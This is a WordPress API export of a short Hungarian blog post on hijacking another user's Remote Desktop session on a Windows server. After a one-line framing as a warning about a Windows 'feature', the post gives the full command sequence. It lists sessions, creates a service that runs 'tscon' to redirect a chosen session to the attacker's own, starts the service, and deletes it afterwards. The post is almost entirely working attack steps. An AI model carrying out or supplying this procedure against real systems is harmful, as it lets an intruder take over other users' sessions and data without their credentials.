{"id":117,"date":"2017-05-23T21:58:58","date_gmt":"2017-05-23T19:58:58","guid":{"rendered":"http:\/\/lafi.dlinkddns.com\/blog\/?p=117"},"modified":"2018-08-08T11:47:13","modified_gmt":"2018-08-08T09:47:13","slug":"rdp-session-ellopasa-windows-szerveren","status":"publish","type":"post","link":"https:\/\/lafi.dyndns.org\/blog\/2017\/05\/23\/rdp-session-ellopasa-windows-szerveren\/","title":{"rendered":"RDP session ellop\u00e1sa Windows szerveren"},"content":{"rendered":"<p>A k\u00f6vetkez\u0151 le\u00edr\u00e1s egy Windows &#8220;feature&#8221;-re h\u00edvja fel a figyelmet \u00e9s bemutatja az \u00e9ppen akt\u00edv, vagy inakt\u00edv RDP session ellop\u00e1s\u00e1nak egyszer\u0171 folyamat\u00e1t.<\/p>\n<p><!--more--><\/p>\n<p>Ind\u00edtsunk egy PowerShell-t \u00e9s az els\u0151 teend\u0151nk, hogy kilist\u00e1zzuk az felhaszn\u00e1l\u00f3kat:<\/p>\n<blockquote><p>query user<\/p><\/blockquote>\n<p>Ezt k\u00f6vet\u0151en k\u00e9t fontos inform\u00e1ci\u00f3t kell leolvasni a kimenetr\u0151l:<\/p>\n<ul>\n<li>A felhaszn\u00e1l\u00f3 azonos\u00edt\u00f3ja, akit\u0151l el akarjuk lopni a session-t<\/li>\n<li>A mi session nev\u00fcnk (sessionname)<\/li>\n<\/ul>\n<pre class=\"black\" style=\"background-color: #ecf2f9;\"> \r\nUSERNAME              SESSIONNAME        ID  STATE   IDLE TIME  LOGON TIME\r\n administrator<b>                             1<\/b>  Disc            1  3\/12\/2017 3:07 PM\r\n&gt;localadmin            <strong>rdp-tcp#55<\/strong>          2  Active          .  3\/12\/2017 3:10 PM\r\n\r\n<\/pre>\n<p class=\"black\">Csin\u00e1ljunk egy \u00faj szolg\u00e1ltat\u00e1st p\u00e9ld\u00e1ul asdTeszt n\u00e9ven \u00e9s helyettes\u00edts\u00fck be a fenti adatokat a megfelel\u0151 helyre:<\/p>\n<blockquote>\n<p class=\"black\">New-Service -name asdTeszt -BinaryPathName &#8220;cmd \/k tscon <strong>1<\/strong> \/dest:<strong>rdp-tcp#55<\/strong>&#8220;<\/p>\n<\/blockquote>\n<p class=\"black\">Ind\u00edtsuk el a l\u00e9trehozott alkalmaz\u00e1st, hogy eltulajdon\u00edtsuk a session-t:<\/p>\n<blockquote>\n<p class=\"black\">sasv asdTeszt<\/p>\n<\/blockquote>\n<p class=\"black\">Miut\u00e1n v\u00e9gezt\u00fcnk t\u00f6r\u00f6lj\u00fck a l\u00e9trehozott szolg\u00e1ltat\u00e1st:<\/p>\n<blockquote>\n<p class=\"black\">sc.exe delete asdTeszt<\/p>\n<\/blockquote>\n","protected":false},"excerpt":{"rendered":"<p>A k\u00f6vetkez\u0151 le\u00edr\u00e1s egy Windows &#8220;feature&#8221;-re h\u00edvja fel a figyelmet \u00e9s bemutatja az \u00e9ppen akt\u00edv, vagy inakt\u00edv RDP session ellop\u00e1s\u00e1nak egyszer\u0171 folyamat\u00e1t.<\/p>\n","protected":false},"author":1,"featured_media":119,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[17],"tags":[53,52,48,46,47,50,51,49],"class_list":["post-117","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-project","tag-bug","tag-feature","tag-hack","tag-rdp","tag-remote-desktop-session","tag-server","tag-szerver","tag-windows"],"views":98,"_links":{"self":[{"href":"https:\/\/lafi.dyndns.org\/blog\/wp-json\/wp\/v2\/posts\/117","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/lafi.dyndns.org\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/lafi.dyndns.org\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/lafi.dyndns.org\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/lafi.dyndns.org\/blog\/wp-json\/wp\/v2\/comments?post=117"}],"version-history":[{"count":11,"href":"https:\/\/lafi.dyndns.org\/blog\/wp-json\/wp\/v2\/posts\/117\/revisions"}],"predecessor-version":[{"id":196,"href":"https:\/\/lafi.dyndns.org\/blog\/wp-json\/wp\/v2\/posts\/117\/revisions\/196"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/lafi.dyndns.org\/blog\/wp-json\/wp\/v2\/media\/119"}],"wp:attachment":[{"href":"https:\/\/lafi.dyndns.org\/blog\/wp-json\/wp\/v2\/media?parent=117"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/lafi.dyndns.org\/blog\/wp-json\/wp\/v2\/categories?post=117"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/lafi.dyndns.org\/blog\/wp-json\/wp\/v2\/tags?post=117"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}